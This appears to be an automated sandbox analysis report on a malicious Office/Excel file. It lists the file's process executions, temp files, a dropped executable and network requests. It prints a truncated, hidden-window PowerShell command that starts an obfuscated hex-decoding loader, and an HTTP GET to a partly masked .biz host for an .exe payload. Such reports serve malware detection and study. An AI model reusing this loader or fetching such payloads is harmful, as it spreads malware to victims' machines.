Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function l74656 {param($qd35f21)$d5c8e8='qbdf47';$raec5='';for ($i=0; $i -lt $qd35f21.length;$i+=2){$f773314=[convert]::ToByte($qd35f21.Substring($i,2),16);$raec5+=[char](...
Modifies file system
Creates the following files
- %TEMP%\1wb2-mgi.0.cs
- %TEMP%\95o-3hkv.dll
- %TEMP%\resba65.tmp
- %TEMP%\cscba54.tmp
- %TEMP%\95o-3hkv.out
- %TEMP%\95o-3hkv.cmdline
- %TEMP%\95o-3hkv.0.cs
- %TEMP%\rt6vhwl2.dll
- %TEMP%\res9f2c.tmp
- %TEMP%\csc9f0c.tmp
- %TEMP%\rt6vhwl2.out
- %TEMP%\rt6vhwl2.cmdline
- %TEMP%\rt6vhwl2.0.cs
- %TEMP%\tdcf3cgg.dll
- %TEMP%\res8720.tmp
- %TEMP%\csc86ff.tmp
- %TEMP%\1wb2-mgi.dll
- %TEMP%\res7722.tmp
- %TEMP%\hzduce8i.dll
- %TEMP%\res7657.tmp
- %TEMP%\csc7711.tmp
- %TEMP%\csc7646.tmp
- %TEMP%\tdcf3cgg.out
- %TEMP%\tdcf3cgg.cmdline
- %TEMP%\tdcf3cgg.0.cs
- %TEMP%\hzduce8i.out
- %TEMP%\hzduce8i.cmdline
- %TEMP%\hzduce8i.0.cs
- %TEMP%\1wb2-mgi.out
- %TEMP%\1wb2-mgi.cmdline
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{af3896f3-6a8b-4e9a-ac93-ad9182b8dfa2}.tmp
- %APPDATA%\g7a7b.exe
Deletes the following files
- %TEMP%\res7657.tmp
- %TEMP%\tdcf3cgg.out
- %TEMP%\tdcf3cgg.cmdline
- %TEMP%\res9f2c.tmp
- %TEMP%\csc9f0c.tmp
- %TEMP%\rt6vhwl2.pdb
- %TEMP%\rt6vhwl2.out
- %TEMP%\rt6vhwl2.0.cs
- %TEMP%\95o-3hkv.0.cs
- %TEMP%\rt6vhwl2.dll
- %TEMP%\resba65.tmp
- %TEMP%\cscba54.tmp
- %TEMP%\95o-3hkv.pdb
- %TEMP%\95o-3hkv.dll
- %TEMP%\95o-3hkv.cmdline
- %TEMP%\tdcf3cgg.0.cs
- %TEMP%\rt6vhwl2.cmdline
- %TEMP%\tdcf3cgg.dll
- %TEMP%\1wb2-mgi.0.cs
- %TEMP%\csc7646.tmp
- %TEMP%\res7722.tmp
- %TEMP%\csc7711.tmp
- %TEMP%\1wb2-mgi.cmdline
- %TEMP%\1wb2-mgi.pdb
- %TEMP%\1wb2-mgi.dll
- %TEMP%\1wb2-mgi.out
- %TEMP%\csc86ff.tmp
- %TEMP%\hzduce8i.0.cs
- %TEMP%\hzduce8i.cmdline
- %TEMP%\hzduce8i.pdb
- %TEMP%\hzduce8i.dll
- %TEMP%\hzduce8i.out
- %TEMP%\res8720.tmp
- %TEMP%\tdcf3cgg.pdb
- %TEMP%\95o-3hkv.out
Network activity
TCP
HTTP GET requests
- http://am###chi.biz/lerroxfisher.exe
- http://am###chi.biz/cgi-sys/suspendedpage.cgi
UDP
- DNS ASK am###chi.biz
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function l74656 {param($qd35f21)$d5c8e8='qbdf47';$raec5='';for ($i=0; $i -lt $qd35f21.length;$i+=2){$f773314=[convert]::ToByte($qd35f21.Substring($i,2),16);$raec5+=[char](...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1wb2-mgi.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hzduce8i.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tdcf3cgg.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7657.tmp" "%TEMP%\CSC7646.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7722.tmp" "%TEMP%\CSC7711.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8720.tmp" "%TEMP%\CSC86FF.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rt6vhwl2.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9F2C.tmp" "%TEMP%\CSC9F0C.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\95o-3hkv.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBA65.tmp" "%TEMP%\CSCBA54.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1wb2-mgi.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hzduce8i.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tdcf3cgg.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7657.tmp" "%TEMP%\CSC7646.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7722.tmp" "%TEMP%\CSC7711.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8720.tmp" "%TEMP%\CSC86FF.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rt6vhwl2.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9F2C.tmp" "%TEMP%\CSC9F0C.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\95o-3hkv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBA65.tmp" "%TEMP%\CSCBA54.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
